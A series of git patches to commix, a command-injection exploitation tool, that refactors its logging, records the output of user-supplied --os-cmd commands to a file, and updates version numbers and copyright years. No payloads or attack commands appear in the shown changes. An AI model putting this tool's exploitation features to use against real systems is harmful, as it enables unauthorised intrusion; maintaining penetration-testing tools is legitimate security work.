output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) - output_file.close() - export_injection_info = True - + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) + export_injection_info = True return export_injection_info """ Add the vulnerable parameter in log files. """ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): - output_file = open(filename, "a") - if not menu.options.no_logging: - if header_name[1:] == "cookie": - header_name = " ("+ header_name[1:] + ") " + vuln_parameter - if header_name[1:] == "": - header_name = " ("+ http_request_method + ") " + vuln_parameter - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) - vp_flag = False - output_file.write("\n") - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if header_name[1:] == "cookie": + header_name = " ("+ header_name[1:] + ") " + vuln_parameter + if header_name[1:] == "": + header_name = " ("+ http_request_method + ") " + vuln_parameter + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) + vp_flag = False + output_file.write("\n") + """ Add any payload in log files. """ def update_payload(filename, counter, payload): - output_file = open(filename, "a") - if not menu.options.no_logging: - if "\n" in payload: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") - else: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n") - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if "\n" in payload: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") + else: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n") """ Add any executed command and @@ -172,11 +167,10 @@ def update_payload(filename, counter, payload): """ def executed_command(filename, cmd, output): try: - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") except TypeError: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index cab9e7cb01..60b6c75eac 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 48fe376c0aa812f269584f64b38188efd0dcb8c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Dec 2023 09:44:22 +0200 Subject: [PATCH 0384/1023] Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_enumeration.py | 2 +- src/core/injections/controller/checks.py | 14 ++++++++++---- .../techniques/classic/cb_enumeration.py | 2 +- .../techniques/eval_based/eb_enumeration.py | 2 +- .../techniques/file_based/fb_enumeration.py | 2 +- .../techniques/tempfile_based/tfb_enumeration.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/utils/settings.py | 2 +- 9 files changed, 18 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3ac338b79a..c1d32a3c33 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement regarding logging user-supplied commands (i.e. `--os-cmd` option) to a file. * Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). * Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) * Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 867e8dae3f..42c317f3e4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -197,7 +197,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - checks.print_single_os_cmd(cmd, output) + checks.print_single_os_cmd(cmd, output, filename) return check_how_long, output """ diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7dc809a47d..32c3092646 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2211,10 +2211,16 @@ def print_passes(sys_passes, filename, _, alter_shell): """ Print single OS command """ -def print_single_os_cmd(cmd, shell): - if len(shell) > 1: +def print_single_os_cmd(cmd, output, filename): + if len(output) > 1: _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) + print(settings.print_retrieved_data(_, output)) + try: + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") + except TypeError: + pass else: err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) @@ -2546,4 +2552,4 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True -# eof +# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 7784d6d607..414bd21e4f 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -247,7 +247,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell, filename) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index a2cddc4b86..c4a9655e5d 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -250,7 +250,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell, filename) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 9984a745f9..933b610907 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -215,7 +215,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell, filename) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 213c1aa453..7b9df6d0bc 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -203,7 +203,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - checks.print_single_os_cmd(cmd, output) + checks.print_single_os_cmd(cmd, output, filename) return check_how_long, output """ diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 7f2f4914b9..789a6a3744 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -408,7 +408,7 @@ def shellshock_handler(url, http_request_method, filename): cmd = menu.options.os_cmd checks.print_enumenation().print_single_os_cmd_msg(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell, filename) # Pseudo-Terminal shell try: diff --git a/src/utils/settings.py b/src/utils/settings.py index 60b6c75eac..04796051a9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2566bf30b21cf2ec966bb88c8af7c677eed5522e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 8 Jan 2024 08:55:26 +0200 Subject: [PATCH 0385/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c1d32a3c33..2abc698a79 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,5 @@ ## Version 3.9 (TBA) -* Revised: Minor improvement regarding logging user-supplied commands (i.e. `--os-cmd` option) to a file. +* Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. * Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). * Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) * Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) From 8c2eab499d02d6a3a79cdec83459fa7a3a252906 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 11 Jan 2024 09:14:49 +0200 Subject: [PATCH 0386/1023] Update copyright year --- LICENSE.txt | 2 +- commix.py | 2 +- setup.py | 2 +- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- src/core/injections/blind/techniques/time_based/__init__.py | 2 +- .../blind/techniques/time_based/tb_enumeration.py | 2 +- .../blind/techniques/time_based/tb_file_access.py | 2 +- .../injections/blind/techniques/time_based/tb_handler.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../injections/blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- src/core/injections/results_based/techniques/__init__.py | 2 +- .../injections/results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_enumeration.py | 2 +- .../results_based/techniques/classic/cb_file_access.py | 2 +- .../results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_enumeration.py | 2 +- .../results_based/techniques/eval_based/eb_file_access.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../injections/semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_enumeration.py | 2 +- .../semiblind/techniques/file_based/fb_file_access.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_file_access.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/rev.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirments.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 6 +++--- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 102 files changed, 104 insertions(+), 104 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 90437c6163..44793fc81b 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2023 Anastasios Stasinopoulos +Copyright (c) 2014-2024 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index 2106755229..882ae1f024 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/setup.py b/setup.py index c024e4cfa4..62f49da7fa 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/__init__.py b/src/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index 9a0d60c0f1..c0b8a53bc5 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index 7f218c9f50..321bbe14d5 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 42c317f3e4..79c8795713 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 6d69f08044..e454c8625e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 1d17bdec35..388960ec3a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index a200291423..be29821812 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1edd5b1b1d..b3d4ed0fe9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 32c3092646..d92bd2c040 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 78eda416bf..9b2398ad9a 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 11e32b6490..42537e22c1 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 33f8bac32f..11717f157c 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 414bd21e4f..dcf9a71d09 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 30fd451336..5ccfc114db 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index d23390fb86..1875809737 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index a623ac96dd..3e1f7db2fd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ 